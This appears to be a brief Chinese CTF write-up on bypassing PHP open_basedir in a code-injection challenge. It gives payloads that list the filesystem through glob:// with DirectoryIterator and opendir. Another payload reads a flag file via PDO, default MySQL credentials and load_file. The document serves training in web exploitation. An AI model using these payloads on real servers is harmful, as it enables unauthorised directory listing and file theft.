信息收集
啟用了open_basedir,所以之前的方法又不能用了
解題
c=foreach(new DirectoryIterator("glob:///*") as $a){echo($a->__toString().' ');
}
ob_flush();
c=if ( $a = opendir("glob:///*") ) {while ( ($file = readdir($a)) !== false ) {echo $file."<br>";}closedir($a);exit();
}
又有open_basedir限制了
web72里那一大坨代碼也不能用了,估計開啟了ASLR
GS
之類的堆棧保護
答案給了新的方法
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."\n<br>"; }$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}exit(0);
在代碼里寫注釋有時會使代碼失效
PDO
:(PHP數據對象)是PHP的一個輕量級數據庫訪問抽象層,允許開發者以一種統一的方式訪問多種不同類型的數據庫,如MySQL、PostgreSQL、SQLite等。
PDO::query
: 執行 SQL 語句,返回PDOStatement對象
select load_file
:使用了mysql的load_file
函數
load_file
:函數允許從服務器的文件系統中讀取文件,并將其內容作為字符串返回。然而,這個函數需要滿足一定的權限條件,并且文件路徑必須是服務器能夠訪問的
這些都不是關鍵,關鍵是數據庫名、賬號、密碼怎么來的,如果不是答案給了,根本不知道
web74 ?? 目錄 ?? web76